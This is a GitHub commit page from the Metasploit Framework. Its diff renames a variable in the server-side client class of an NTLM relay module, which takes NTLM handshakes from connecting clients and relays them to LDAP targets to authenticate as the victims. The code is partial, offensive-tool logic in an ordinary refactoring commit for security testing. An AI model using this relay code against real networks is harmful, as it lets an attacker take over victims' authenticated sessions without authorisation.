Skip to content

Commit 0bf2ddb

Browse files
committed
Renamed ldap_client to relayed_connection
1 parent 4e32a88 commit 0bf2ddb

1 file changed

Lines changed: 21 additions & 21 deletions

File tree

lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb

Lines changed: 21 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -7,13 +7,13 @@ class ServerClient
77
attr_accessor :cli, :state, :redirect_uri
88

99
def initialize(cli, relay_targets, logger, timeout = 25)
10-
@cli = cli
11-
@state = :unauthenticated
12-
@relay_targets = relay_targets
13-
@logger = logger
14-
@timeout = timeout
15-
@ldap_client = nil
16-
@current_target = nil
10+
@cli = cli
11+
@state = :unauthenticated
12+
@relay_targets = relay_targets
13+
@logger = logger
14+
@timeout = timeout
15+
@relayed_connection = nil
16+
@current_target = nil
1717

1818
@ntlm_context = {
1919
wrapper: :none,
@@ -59,8 +59,8 @@ def process_request(req)
5959

6060
elsif parsed_ntlm && parsed_ntlm.is_a?(Net::NTLM::Message::Type1)
6161
logger.print_warning("Client restarted the handshake! Resetting state to handle new Type 1...")
62-
@ldap_client.disconnect! if @ldap_client
63-
@ldap_client = nil
62+
@relayed_connection.disconnect! if @relayed_connection
63+
@relayed_connection = nil
6464
handle_type1(raw_ntlm_bytes, parsed_ntlm, auth_type)
6565

6666
else
@@ -127,10 +127,10 @@ def handle_type1(raw_ntlm_bytes, parsed_ntlm, auth_type)
127127
end
128128

129129
begin
130-
logger.print_status("Attempting to relay to #{@current_target.protocol}://#{@current_target.ip}:#{@current_target.port}")
131-
@ldap_client = create_relay_client(@current_target, @timeout)
130+
logger.print_status("Attempting to relay to #{Rex::Socket.to_authority(@current_target.ip, @current_target.port)}")
131+
@relayed_connection = create_relay_client(@current_target, @timeout)
132132

133-
if @ldap_client.nil?
133+
if @relayed_connection.nil?
134134
logger.print_error("Connection to #{@current_target.ip} failed: unable to create relay client")
135135
advance_to_next_target_via_redirect
136136
return
@@ -144,7 +144,7 @@ def handle_type1(raw_ntlm_bytes, parsed_ntlm, auth_type)
144144
incoming_security_buffer = parsed_ntlm.serialize
145145
end
146146

147-
relay_result = @ldap_client.relay_ntlmssp_type1(incoming_security_buffer)
147+
relay_result = @relayed_connection.relay_ntlmssp_type1(incoming_security_buffer)
148148

149149
if relay_result && relay_result.nt_status == WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED
150150
type2_msg = relay_result.message
@@ -206,13 +206,13 @@ def handle_type3(parsed_type3)
206206
incoming_security_buffer = parsed_type3.serialize
207207
end
208208

209-
relay_result = @ldap_client.relay_ntlmssp_type3(incoming_security_buffer)
209+
relay_result = @relayed_connection.relay_ntlmssp_type3(incoming_security_buffer)
210210

211211
if relay_result && relay_result.nt_status == WindowsError::NTStatus::STATUS_SUCCESS
212212
relay_succeeded = true
213213

214214
logger.on_ntlm_type3(
215-
address: @ldap_client.target.ip,
215+
address: @relayed_connection.target.ip,
216216
ntlm_type1: @ntlm_context[:type1],
217217
ntlm_type2: @ntlm_context[:type2],
218218
ntlm_type3: parsed_type3,
@@ -221,18 +221,18 @@ def handle_type3(parsed_type3)
221221

222222
# Use the extracted identity here
223223
if identity.blank?
224-
logger.print_status("Anonymous Identity - Successfully authenticated against relay target #{@ldap_client.target.ip}")
225-
@ldap_client.disconnect! if @ldap_client
224+
logger.print_status("Anonymous Identity - Successfully authenticated against relay target #{@relayed_connection.target.ip}")
225+
@relayed_connection.disconnect! if @relayed_connection
226226
else
227227
logger.print_good("Identity: #{identity} - Successfully relayed NTLM authentication to LDAP!")
228-
logger.on_relay_success(relay_connection: @ldap_client, relay_identity: identity)
228+
logger.on_relay_success(relay_connection: @relayed_connection, relay_identity: identity)
229229
end
230230

231-
@ldap_client = nil
231+
@relayed_connection = nil
232232
else
233233
logger.print_error("Relayed authentication failed or was rejected by LDAP.")
234-
@ldap_client.disconnect! if @ldap_client
235-
@ldap_client = nil
234+
@relayed_connection.disconnect! if @relayed_connection
235+
@relayed_connection = nil
236236
end
237237

238238
# 2. Pass the identity down to the target list tracker

0 commit comments

Comments
 (0)